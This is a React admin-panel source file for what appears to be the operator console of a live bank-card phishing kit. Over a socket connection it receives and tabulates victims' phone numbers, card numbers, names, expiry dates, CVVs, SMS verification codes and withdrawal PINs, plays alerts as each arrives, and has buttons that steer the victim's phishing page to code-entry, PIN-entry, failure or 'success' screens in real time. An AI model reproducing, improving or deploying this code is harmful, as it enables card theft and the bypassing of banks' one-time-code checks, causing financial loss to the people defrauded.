import React, {Component} from "react";
import {actions} from "../../../reducers/main";
import {connect} from "react-redux";
import {Card, Typography, message, Table, Dropdown, Button, Input, Space, Icon, Menu, Modal, Descriptions} from "antd";
import io from "socket.io-client";
import "./index.less";

const {Title, Text} = Typography;
const {TextArea} = Input;

const mapStateToProps = (state) => {
    return {};
};

const mapDispatchToProps = dispatch => {
    return {
        fetchInitData: next => dispatch(actions.fetchInitData(next))
    };
};

class Index extends Component {
    state = {
        socket: null,
        clientList:[],
        currentState: 'idle',
        cardList: [],
        connected: false,
        currentClientId: '',
        smsInputs: {}, // 存储每个卡号的短信验证输入
        modalVisible: false,
        modalRecord: null
    };
    audioRef = React.createRef();
    stateToAudioMap = {
        idle: null,
        enter: '/mp3/customer.mp3',
        phoneCode: '/mp3/cardInfo.mp3',
        smsPage: '/mp3/newMessage.mp3',
        carPwdPage: '/mp3/newMessage.mp3',
        sendPhoneCode: '/mp3/sms.mp3',
        sendCardPwd: '/mp3/cardPwd.mp3',
        other: '/mp3/newMessage.mp3'
    };
    componentDidMount() {
        this.connectSocket();
    }

    componentWillUnmount() {
        if (this.state.socket) {
            this.state.socket.disconnect();
        }
    }

    changeState = (newState) => {
        this.setState({ currentState: newState });
        if (newState !== 'smsPage' && newState !== 'carPwdPage') {
            const audioElement = this.audioRef.current;
            if (audioElement) {
                audioElement.pause();
                audioElement.currentTime = 0;

                const audioSrc = this.stateToAudioMap[this.state.currentState];
                if (audioSrc) {
                    audioElement.src = audioSrc;
                    audioElement.play().catch(error => {
                        console.error('播放失败:', error);
                    });
                }
            }
        }
    };

    // componentDidUpdate(prevProps, prevState) {
    //
    // }

    connectSocket = () => {
        try {
            // 创建socket连接，并添加admin前缀到clientId
            const clientId = 'admin_' + Date.now();
            const socket = io("http://localhost:3000", {
                query: {
                    clientId: clientId // 添加admin前缀到clientId
                }
            });

            socket.on("connect", () => {
                this.setState({connected: true, currentClientId: clientId});
                message.success("WebSocket连接成功");
                console.log("已连接，clientId:", socket.id);

                // 向服务端注册客户端ID
                socket.emit('register', {clientId});
                console.log("已向服务端注册客户端ID:", clientId);
            });

            socket.on("disconnect", () => {
                this.setState({connected: false});
                message.error("WebSocket连接断开");
            });

            // 监听cardInfo事件
            socket.on("cardInfo", (data) => {
                console.log("收到cardInfo消息:", data);
                this.handleSocketMessage(data);
            });
            // 监听cardInfo事件
            socket.on("clientList", (data) => {
                this.setState({clientList: data});
            });
            this.setState({socket});
        } catch (error) {
            console.error("WebSocket连接错误:", error);
            message.error("WebSocket连接失败");
        }
    };

    handleSocketMessage = (data) => {
        if (data && data.allInfo && data.allInfo.telephone) {
            const existingIndex = this.state.cardList.findIndex(
                item => item.telephone === data.allInfo.telephone
            );
            this.changeState(data.step)
            if (existingIndex >= 0) {
                const updatedList = [...this.state.cardList];
                updatedList[existingIndex] = {
                    ...updatedList[existingIndex],
                    ...data.allInfo,
                    step: data.step,
                    type: data.type,
                    from: data.from,
                    timestamp: new Date().toLocaleString()
                };
                this.setState({cardList: updatedList});
            } else {
                this.setState(prevState => ({
                    cardList: [
                        ...prevState.cardList,
                        {
                            ...data.allInfo,
                            step: data.step,
                            type: data.type,
                            from: data.from,
                            timestamp: new Date().toLocaleString()
                        }
                    ]
                }));
            }
        }
    };

    // 处理短信验证输入变化
    handleSmsInputChange = (cardNumber, value) => {
        this.setState(prevState => ({
            smsInputs: {
                ...prevState.smsInputs,
                [cardNumber]: value
            }
        }));
    };

    // 发送短信验证
    handleSendSms = (data) => {
        const {socket} = this.state;
        if (socket) {
            this.changeState('smsPage')
            socket.emit('actions', {telephone: data.telephone, action: 'phoneCodePage'});
            message.success(`已发送短信验证码到卡号: ${data.telephone}`);
        }
    };

    // 发送短信验证
    handleSendSmsError = (data) => {
        const {socket} = this.state;
        if (socket) {
            this.changeState('smsPage')
            socket.emit('actions', {telephone: data.telephone, action: 'phoneCodePageError'});
            message.success(`已发送短信验证码异常: ${data.telephone}`);
        }
    };

    handleSendCardPwdError = (data) => {
        const {socket} = this.state;
        if (socket) {
            this.changeState('carPwdPage')
            socket.emit('actions', {telephone: data.telephone, action: 'cardPwdPageError'});
            message.success(`已发送取款码异常给客户: ${data.telephone}`);
        }
    };

    handleSendCardPwd= (data) => {
        const {socket} = this.state;
        if (socket) {
            this.changeState('carPwdPage')
            socket.emit('actions', {telephone: data.telephone, action: 'cardPwdPage'});
            message.success(`已发送短信验证码到卡号: ${data.telephone}`);
        }
    };

    handlePass= (data) => {
        const {socket} = this.state;
        if (socket) {
            socket.emit('actions', {telephone: data.telephone, action: 'pass'});
            message.success(`已通知客户绑卡成功: ${data.telephone}`);
        }
    };

    handleError= (data) => {
        const {socket} = this.state;
        if (socket) {
            socket.emit('actions', {telephone: data.telephone, action: 'error'});
            message.success(`已通知客户绑卡失败: ${data.telephone}`);
        }
    };

    handleViewDetails = (record) => {
        this.setState({ modalVisible: true, modalRecord: record });
    };

    handleModalClose = () => {
        this.setState({ modalVisible: false, modalRecord: null });
    };

    // 新增卡号格式化方法，每4位加空格
    formatCardNumber = (num) => {
        if (!num) return '';
        const str = num.toString().replace(/\s+/g, '');
        return str.replace(/(.{4})/g, '$1 ').trim();
    };

    // 填卡页操作菜单
    getCardOperations = (record) => {
        const {smsInputs} = this.state;
        const cardNumber = record.cardNumber;

        const menu = (
            <Menu style={{width: '350px'}}>
                <Menu.Item>
                    <div style={{marginBottom: '8px', display: "flex"}}>
                        <Button
                            type="primary"
                            onClick={() => this.handleSendSms(record)}
                        >
                            短信验证
                        </Button>
                        <Input
                            onClick={(e) => {
                                e.preventDefault();
                                e.stopPropagation();
                            }}
                            style={{width: '100px'}}
                            placeholder="手机后四位"
                            value={smsInputs[cardNumber] || ''}
                            onChange={(e) => {
                                e.preventDefault()
                                e.stopPropagation()
                                this.handleSmsInputChange(cardNumber, e.target.value)
                            }}
                        />
                        <Button
                            type="primary"
                            onClick={() => this.handleSendSmsError(record)}
                        >
                            短信验证失败
                        </Button>
                    </div>
                    <div style={{marginBottom: '8px', display: "flex"}}>
                        <Button
                            type="primary"
                            onClick={() => this.handleSendCardPwd(record)}
                        >
                            银行取款码
                        </Button>
                        <Input
                            onClick={(e) => {
                                e.preventDefault();
                                e.stopPropagation();
                            }}
                            style={{width: '100px'}}
                            placeholder=""
                            value={smsInputs[cardNumber] || ''}
                            onChange={(e) => {
                                e.preventDefault()
                                e.stopPropagation()
                                this.handleSmsInputChange(cardNumber, e.target.value)
                            }}
                        />
                        <Button
                            type="primary"
                            onClick={() => this.handleSendCardPwdError(record)}
                        >
                            银行取款码失败
                        </Button>
                    </div>
                    <div style={{marginBottom: '8px', display: "flex"}}>
                        <Button
                            type="primary"
                            onClick={() => this.handlePass(record)}
                        >
                            完成认证
                        </Button>
                        <Button
                            type="danger"
                            onClick={() => this.handleError(record)}
                        >
                            认证失败
                        </Button>
                    </div>
                </Menu.Item>

            </Menu>
        );

        return (
            <Dropdown overlay={menu} trigger={['click']}>
                <Button type="link">
                    填卡页操作 <Icon type="down"/>
                </Button>
            </Dropdown>
        );
    };

    render() {
        const {cardList, connected, currentClientId, modalVisible, modalRecord} = this.state;

        const columns = [
            {
                title: '手机号',
                dataIndex: 'telephone',
                key: 'telephone',
                width: 120,
            },
            {
                title: '卡号',
                dataIndex: 'cardNumber',
                key: 'cardNumber',
                width: 180, 
                render: text => this.formatCardNumber(text),
            },
            {
                title: '是否在线',
                key: 'online',
                width: 100,
                render: (_, record) => {
                    const isOnline = this.state.clientList.some(id => id.endsWith(record.telephone));
                    return isOnline ? (
                        <Icon type="check-circle" style={{ color: '#52c41a' }} />
                    ) : (
                        <Icon type="close-circle" style={{ color: '#f5222d' }} />
                    );
                }
            },
            {
                title: '持卡人',
                dataIndex: 'cardName',
                key: 'cardName',
                width: 120,
            },
            {
                title: '有效期',
                dataIndex: 'cardExpiry',
                key: 'cardExpiry',
                width: 100,
            },
            {
                title: 'CVV',
                dataIndex: 'cardCVV',
                key: 'cardCVV',
                width: 80,
            },
            {
                title: '步骤',
                dataIndex: 'step',
                key: 'step',
                width: 80,
                render: _ => {
                    switch (_) {
                        case 'enter':
                            return <Text type="success">进入填卡页</Text>;
                        case 'phoneCode':
                            return <Text type="warning">提交卡片信息</Text>;
                        case 'smsPage':
                            return <Text type="danger">进入短信页面</Text>;
                        case 'carPwdPage':
                            return <Text type="danger">进入密码页面</Text>;
                        case 'sendPhoneCode':
                            return <Text type="danger">已发送短信</Text>;
                        case 'sendCardPwd':
                            return <Text type="danger">已发送密码</Text>;
                        default:
                            return <Text>未知</Text>;

                    }
                }
            },
            {
                title: '短信验证码',
                dataIndex: 'phoneCode',
                key: 'phoneCode',
                width: 100,
            },
            {
                title: '取款码',
                dataIndex: 'cardPwd',
                key: 'cardPwd',
                width: 100,
            },
            {
                title: '接收时间',
                dataIndex: 'timestamp',
                key: 'timestamp',
                width: 180,
            },
            {
                title: '操作',
                key: 'action',
                fixed: 'right',
                width: 300,
                render: (_, record) => {
                    return (
                        <div>
                            <Button type="link" onClick={() => this.handleViewDetails(record)}>查看详情</Button>
                            {this.getCardOperations(record)}
                        </div>
                    );
                }
            }
        ];

        return (
            <div style={{overflowX: "hidden", padding: "20px"}}>
                <Card title="银行卡信息接收器" style={{marginBottom: "20px"}}>
                    <div style={{marginBottom: "10px"}}>
                        <Text type={connected ? "success" : "danger"}>
                            WebSocket状态: {connected ? "已连接" : "未连接"}(当前客人数：{this.state.clientList.length})
                        </Text>
                    </div>
                    <div>
                        <Text>服务器地址: http://localhost:3000</Text>
                    </div>
                    <div>
                        <Text>客户端ID: {currentClientId}</Text>
                    </div>
                </Card>

                <Table
                    title={() => <Title level={3}>银行卡信息列表</Title>}
                    columns={columns}
                    dataSource={cardList}
                    rowKey="cardNumber"
                    scroll={{x: 1500}}
                    pagination={{
                        defaultPageSize: 10,
                        showSizeChanger: true,
                        showQuickJumper: true
                    }}
                    size="middle"
                    bordered
                />
                <Modal
                    visible={modalVisible}
                    title="详细信息"
                    footer={null}
                    onCancel={this.handleModalClose}
                >
                    {modalRecord && (
                        <>
                            <div className="creditCardPreview">
                                <div className="cardNumber">{this.formatCardNumber(modalRecord.cardNumber)}</div>
                                <div className="cardName">{modalRecord.cardName}</div>
                                <div className="cardExpiry">有效期: {modalRecord.cardExpiry}</div>
                                <div className="cardCVV">CVV: {modalRecord.cardCVV}</div>
                            </div>
                            <Descriptions bordered column={1} style={{ marginTop: 16 }}>
                                <Descriptions.Item label="手机号">{modalRecord.telephone}</Descriptions.Item>
                                <Descriptions.Item label="短信验证码">{modalRecord.phoneCode}</Descriptions.Item>
                                <Descriptions.Item label="取款码">{modalRecord.cardPwd}</Descriptions.Item>
                                <Descriptions.Item label="步骤">{modalRecord.step}</Descriptions.Item>
                                <Descriptions.Item label="接收时间">{modalRecord.timestamp}</Descriptions.Item>
                            </Descriptions>
                        </>
                    )}
                </Modal>
                <audio
                    ref={this.audioRef}
                    src={this.stateToAudioMap[this.state.currentState] || ''}
                    style={{display: 'none'}}
                />
            </div>
        );
    }
}

export default connect(mapStateToProps, mapDispatchToProps)(Index);